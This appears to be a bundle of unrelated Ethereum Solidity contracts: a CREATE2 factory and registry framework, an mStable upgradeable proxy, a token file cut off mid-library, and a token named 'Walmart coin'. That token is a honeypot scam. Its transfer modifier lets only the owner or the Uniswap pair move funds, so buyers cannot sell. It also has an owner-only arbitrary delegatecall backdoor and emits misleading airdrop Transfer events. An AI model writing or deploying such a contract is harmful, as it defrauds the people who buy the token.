encoded_size, // pass in init code's length.
salt // pass in the salt value.
)
// pass along failure message from failed contract deployment and revert.
if iszero(spawnedContract) {
returndatacopy(0, 0, returndatasize)
revert(0, returndatasize)
}
}
}
/**
* @notice Private function for determining the salt and the target deployment
* address for the next spawned contract (using create2) based on the contract
* creation code.
*/
function _getSaltAndTarget(
bytes memory initCode
) private view returns (bytes32 salt, address target) {
// get the keccak256 hash of the init code for address derivation.
bytes32 initCodeHash = keccak256(initCode);
// set the initial nonce to be provided when constructing the salt.
uint256 nonce = 0;
// declare variable for code size of derived address.
uint256 codeSize;
while (true) {
// derive `CREATE2` salt using `msg.sender` and nonce.
salt = keccak256(abi.encodePacked(msg.sender, nonce));
target = address( // derive the target deployment address.
uint160( // downcast to match the address type.
uint256( // cast to uint to truncate upper digits.
keccak256( // compute CREATE2 hash using 4 inputs.
abi.encodePacked( // pack all inputs to the hash together.
bytes1(0xff), // pass in the control character.
address(this), // pass in the address of this contract.
salt, // pass in the salt from above.
initCodeHash // pass in hash of contract creation code.
)
)
)
)
);
// determine if a contract is already deployed to the target address.
assembly { codeSize := extcodesize(target) }
// exit the loop if no contract is deployed to the target address.
if (codeSize == 0) {
break;
}
// otherwise, increment the nonce and derive a new salt.
nonce++;
}
}
}
interface iRegistry {
enum FactoryStatus { Unregistered, Registered, Retired }
event FactoryAdded(address owner, address factory, uint256 factoryID, bytes extraData);
event FactoryRetired(address owner, address factory, uint256 factoryID);
event InstanceRegistered(address instance, uint256 instanceIndex, address indexed creator, address indexed factory, uint256 indexed factoryID);
// factory state functions
function addFactory(address factory, bytes calldata extraData ) external;
function retireFactory(address factory) external;
// factory view functions
function getFactoryCount() external view returns (uint256 count);
function getFactoryStatus(address factory) external view returns (FactoryStatus status);
function getFactoryID(address factory) external view returns (uint16 factoryID);
function getFactoryData(address factory) external view returns (bytes memory extraData);
function getFactoryAddress(uint16 factoryID) external view returns (address factory);
function getFactory(address factory) external view returns (FactoryStatus state, uint16 factoryID, bytes memory extraData);
function getFactories() external view returns (address[] memory factories);
function getPaginatedFactories(uint256 startIndex, uint256 endIndex) external view returns (address[] memory factories);
// instance state functions
function register(address instance, address creator, uint80 extraData) external;
// instance view functions
function getInstanceType() external view returns (bytes4 instanceType);
function getInstanceCount() external view returns (uint256 count);
function getInstance(uint256 index) external view returns (address instance);
function getInstances() external view returns (address[] memory instances);
function getPaginatedInstances(uint256 startIndex, uint256 endIndex) external view returns (address[] memory instances);
}
contract Metadata {
bytes private _staticMetadata;
bytes private _variableMetadata;
event StaticMetadataSet(bytes staticMetadata);
event VariableMetadataSet(bytes variableMetadata);
// state functions
function _setStaticMetadata(bytes memory staticMetadata) internal {
require(_staticMetadata.length == 0, "static metadata cannot be changed");
_staticMetadata = staticMetadata;
emit StaticMetadataSet(staticMetadata);
}
function _setVariableMetadata(bytes memory variableMetadata) internal {
_variableMetadata = variableMetadata;
emit VariableMetadataSet(variableMetadata);
}
// view functions
function getMetadata() public view returns (bytes memory staticMetadata, bytes memory variableMetadata) {
staticMetadata = _staticMetadata;
variableMetadata = _variableMetadata;
}
}
contract Operated {
address private _operator;
bool private _status;
event OperatorUpdated(address operator, bool status);
// state functions
function _setOperator(address operator) internal {
require(_operator != operator, "cannot set same operator");
_operator = operator;
emit OperatorUpdated(operator, hasActiveOperator());
}
function _transferOperator(address operator) internal {
// transferring operator-ship implies there was an operator set before this
require(_operator != address(0), "operator not set");
_setOperator(operator);
}
function _renounceOperator() internal {
require(hasActiveOperator(), "only when operator active");
_operator = address(0);
_status = false;
emit OperatorUpdated(address(0), false);
}
function _activateOperator() internal {
require(!hasActiveOperator(), "only when operator not active");
_status = true;
emit OperatorUpdated(_operator, true);
}
function _deactivateOperator() internal {
require(hasActiveOperator(), "only when operator active");
_status = false;
emit OperatorUpdated(_operator, false);
}
// view functions
function getOperator() public view returns (address operator) {
operator = _operator;
}
function isOperator(address caller) public view returns (bool ok) {
return (caller == getOperator());
}
function hasActiveOperator() public view returns (bool ok) {
return _status;
}
function isActiveOperator(address caller) public view returns (bool ok) {
return (isOperator(caller) && hasActiveOperator());
}
}
/**
* @title MultiHashWrapper
* @dev Contract that handles multi hash data structures and encoding/decoding
* Learn more here: https://github.com/multiformats/multihash
*/
contract MultiHashWrapper {
// bytes32 hash first to fill the first storage slot
struct MultiHash {
bytes32 hash;
uint8 hashFunction;
uint8 digestSize;
}
/**
* @dev Given a multihash struct, returns the full base58-encoded hash
* @param multihash MultiHash struct that has the hashFunction, digestSize and the hash
* @return the base58-encoded full hash
*/
function _combineMultiHash(MultiHash memory multihash) internal pure returns (bytes memory) {
bytes memory out = new bytes(34);
out[0] = byte(multihash.hashFunction);
out[1] = byte(multihash.digestSize);
uint8 i;
for (i = 0; i < 32; i++) {
out[i+2] = multihash.hash[i];
}
return out;
}
/**
* @dev Given a base58-encoded hash, divides into its individual parts and returns a struct
* @param source base58-encoded hash
* @return MultiHash that has the hashFunction, digestSize and the hash
*/
function _splitMultiHash(bytes memory source) internal pure returns (MultiHash memory) {
require(source.length == 34, "length of source must be 34");
uint8 hashFunction = uint8(source[0]);
uint8 digestSize = uint8(source[1]);
bytes32 hash;
assembly {
hash := mload(add(source, 34))
}
return (MultiHash({
hashFunction: hashFunction,
digestSize: digestSize,
hash: hash
}));
}
}
/* TODO: Update eip165 interface
* bytes4(keccak256('create(bytes)')) == 0xcf5ba53f
* bytes4(keccak256('getInstanceType()')) == 0x18c2f4cf
* bytes4(keccak256('getInstanceRegistry()')) == 0xa5e13904
* bytes4(keccak256('getImplementation()')) == 0xaaf10f42
*
* => 0xcf5ba53f ^ 0x18c2f4cf ^ 0xa5e13904 ^ 0xaaf10f42 == 0xd88967b6
*/
interface iFactory {
event InstanceCreated(address indexed instance, address indexed creator, string initABI, bytes initData);
function create(bytes calldata initData) external returns (address instance);
function getInitdataABI() external view returns (string memory initABI);
function getInstanceRegistry() external view returns (address instanceRegistry);
function getTemplate() external view returns (address template);
function getInstanceCreator(address instance) external view returns (address creator);
function getInstanceType() external view returns (bytes4 instanceType);
function getInstanceCount() external view returns (uint256 count);
function getInstance(uint256 index) external view returns (address instance);
function getInstances() external view returns (address[] memory instances);
function getPaginatedInstances(uint256 startIndex, uint256 endIndex) external view returns (address[] memory instances);
}
contract Factory is Spawner {
address[] private _instances;
mapping (address => address) private _instanceCreator;
/* NOTE: The following items can be hardcoded as constant to save ~200 gas/create */
address private _templateContract;
string private _initdataABI;
address private _instanceRegistry;
bytes4 private _instanceType;
event InstanceCreated(address indexed instance, address indexed creator, bytes callData);
function _initialize(address instanceRegistry, address templateContract, bytes4 instanceType, string memory initdataABI) internal {
// set instance registry
_instanceRegistry = instanceRegistry;
// set logic contract
_templateContract = templateContract;
// set initdataABI
_initdataABI = initdataABI;
// validate correct instance registry
require(instanceType == iRegistry(instanceRegistry).getInstanceType(), 'incorrect instance type');
// set instanceType
_instanceType = instanceType;
}
// IFactory methods
function _create(bytes memory callData) internal returns (address instance) {
// deploy new contract: initialize it & write minimal proxy to runtime.
instance = Spawner._spawn(getTemplate(), callData);
// add the instance to the array
_instances.push(instance);
// set instance creator
_instanceCreator[instance] = msg.sender;
// add the instance to the instance registry
iRegistry(getInstanceRegistry()).register(instance, msg.sender, uint64(0));
// emit event
emit InstanceCreated(instance, msg.sender, callData);
}
function getInstanceCreator(address instance) public view returns (address creator) {
creator = _instanceCreator[instance];
}
function getInstanceType() public view returns (bytes4 instanceType) {
instanceType = _instanceType;
}
function getInitdataABI() public view returns (string memory initdataABI) {
initdataABI = _initdataABI;
}
function getInstanceRegistry() public view returns (address instanceRegistry) {
instanceRegistry = _instanceRegistry;
}
function getTemplate() public view returns (address template) {
template = _templateContract;
}
function getInstanceCount() public view returns (uint256 count) {
count = _instances.length;
}
function getInstance(uint256 index) public view returns (address instance) {
require(index < _instances.length, "index out of range");
instance = _instances[index];
}
function getInstances() public view returns (address[] memory instances) {
instances = _instances;
}
// Note: startIndex is inclusive, endIndex exclusive
function getPaginatedInstances(uint256 startIndex, uint256 endIndex) public view returns (address[] memory instances) {
require(startIndex < endIndex, "startIndex must be less than endIndex");
require(endIndex <= _instances.length, "end index out of range");
// initialize fixed size memory array
address[] memory range = new address[](endIndex - startIndex);
// Populate array with addresses in range
for (uint256 i = startIndex; i < endIndex; i++) {
range[i - startIndex] = _instances[i];
}
// return array of addresses
instances = range;
}
}
contract ProofHash is MultiHashWrapper {
MultiHash private _proofHash;
event ProofHashSet(address caller, bytes proofHash);
// state functions
function _setProofHash(bytes memory proofHash) internal {
_proofHash = MultiHashWrapper._splitMultiHash(proofHash);
emit ProofHashSet(msg.sender, proofHash);
}
// view functions
function getProofHash() public view returns (bytes memory proofHash) {
proofHash = MultiHashWrapper._combineMultiHash(_proofHash);
}
}
contract Template {
address private _factory;
// modifiers
modifier initializeTemplate() {
// set factory
_factory = msg.sender;
// only allow function to be delegatecalled from within a constructor.
uint32 codeSize;
assembly { codeSize := extcodesize(address) }
require(codeSize == 0, "must be called within contract constructor");
_;
}
// view functions
function getCreator() public view returns (address creator) {
// iFactory(...) would revert if _factory address is not actually a factory contract
creator = iFactory(_factory).getInstanceCreator(address(this));
}
function isCreator(address caller) public view returns (bool ok) {
ok = (caller == getCreator());
}
}
contract Post is ProofHash, Operated, Metadata, Template {
event Created(address operator, bytes proofHash, bytes staticMetadata, bytes variableMetadata);
function initialize(
address operator,
bytes memory proofHash,
bytes memory staticMetadata,
bytes memory variableMetadata
) public initializeTemplate() {
// set storage variables
ProofHash._setProofHash(proofHash);
// set operator
if (operator != address(0)) {
Operated._setOperator(operator);
Operated._activateOperator();
}
// set static metadata
Metadata._setStaticMetadata(staticMetadata);
// set variable metadata
Metadata._setVariableMetadata(variableMetadata);
// emit event
emit Created(operator, proofHash, staticMetadata, variableMetadata);
}
// state functions
function setVariableMetadata(bytes memory variableMetadata) public {
// only active operator or creator
require(Template.isCreator(msg.sender) || Operated.isActiveOperator(msg.sender), "only active operator or creator");
// set metadata in storage
Metadata._setVariableMetadata(variableMetadata);
}
}
contract Post_Factory is Factory {
constructor(address instanceRegistry) public {
// deploy template contract
address templateContract = address(new Post());
// set instance type
bytes4 instanceType = bytes4(keccak256(bytes('Post')));
// set initdataABI
string memory initdataABI = '(address,bytes,bytes,bytes)';
// initialize factory params
Factory._initialize(instanceRegistry, templateContract, instanceType, initdataABI);
}
event ExplicitInitData(address operator, bytes proofHash, bytes staticMetadata, bytes variableMetadata);
function create(bytes memory callData) public returns (address instance) {
// deploy instance
instance = Factory._create(callData);
}
function createEncoded(bytes memory initdata) public returns (address instance) {
// decode initdata
(
address operator,
bytes memory proofHash,
bytes memory staticMetadata,
bytes memory variableMetadata
) = abi.decode(initdata, (address,bytes,bytes,bytes));
// call explicit create
instance = createExplicit(operator, proofHash, staticMetadata, variableMetadata);
}
function createExplicit(
address operator,
bytes memory proofHash,
bytes memory staticMetadata,
bytes memory variableMetadata
) public returns (address instance) {
// declare template in memory
Post template;
// construct the data payload used when initializing the new contract.
bytes memory callData = abi.encodeWithSelector(
template.initialize.selector, // selector
operator,
proofHash,
staticMetadata,
variableMetadata
);
// deploy instance
instance = Factory._create(callData);
// emit event
emit ExplicitInitData(operator, proofHash, staticMetadata, variableMetadata);
}
}
|
DC1
|
pragma solidity 0.5.16;
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
function () payable external {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() internal view returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize)
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas, implementation, 0, calldatasize, 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize)
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize) }
default { return(0, returndatasize) }
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() internal {
}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
/**
* Utility library of inline functions on addresses
*
* Source https://raw.githubusercontent.com/OpenZeppelin/openzeppelin-solidity/v2.1.3/contracts/utils/Address.sol
* This contract is copied here and renamed from the original to avoid clashes in the compiled artifacts
* when the user imports a zos-lib contract (that transitively causes this contract to be compiled and added to the
* build/artifacts folder) as well as the vanilla Address implementation from an openzeppelin version.
*/
library OpenZeppelinUpgradesAddress {
/**
* Returns whether the target address is a contract
* @dev This function will return false if invoked during the constructor of a contract,
* as the code is not actually created until after the constructor finishes.
* @param account address of the account to check
* @return whether the target address is a contract
*/
function isContract(address account) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
/**
* @title BaseUpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
contract BaseUpgradeabilityProxy is Proxy {
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return Address of the current implementation
*/
function _implementation() internal view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(OpenZeppelinUpgradesAddress.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
/**
* @title UpgradeabilityProxy
* @dev Extends BaseUpgradeabilityProxy with a constructor for initializing
* implementation and init data.
*/
contract UpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Contract constructor.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
}
/**
* @title BaseAdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract BaseAdminUpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin {
_upgradeTo(newImplementation);
(bool success,) = newImplementation.delegatecall(data);
require(success);
}
/**
* @return The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal {
require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
super._willFallback();
}
}
/**
* @title InitializableUpgradeabilityProxy
* @dev Extends BaseUpgradeabilityProxy with an initializer for initializing
* implementation and init data.
*/
contract InitializableUpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Contract initializer.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
function initialize(address _logic, bytes memory _data) public payable {
require(_implementation() == address(0));
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
}
contract InitializableAdminUpgradeabilityProxy is BaseAdminUpgradeabilityProxy, InitializableUpgradeabilityProxy {
/**
* Contract initializer.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
function initialize(address _logic, address _admin, bytes memory _data) public payable {
require(_implementation() == address(0));
InitializableUpgradeabilityProxy.initialize(_logic, _data);
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
}
/**
* @notice MassetProxy delegates calls to a Masset implementation
* @dev Extending on OpenZeppelin's InitializableAdminUpgradabilityProxy
* means that the proxy is upgradable through a ProxyAdmin. MassetProxy upgrades
* are implemented by a DelayedProxyAdmin, which enforces a 1 week opt-out period.
* All upgrades are governed through the current mStable governance.
*/
contract MassetProxy is InitializableAdminUpgradeabilityProxy {
}
|
DC1
|
pragma solidity ^0.5.17;
/*
Walmart coin
*/
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract Walmartcoin {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
/**
*Submitted for verification at Etherscan.io on 2021-06-15
*/
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
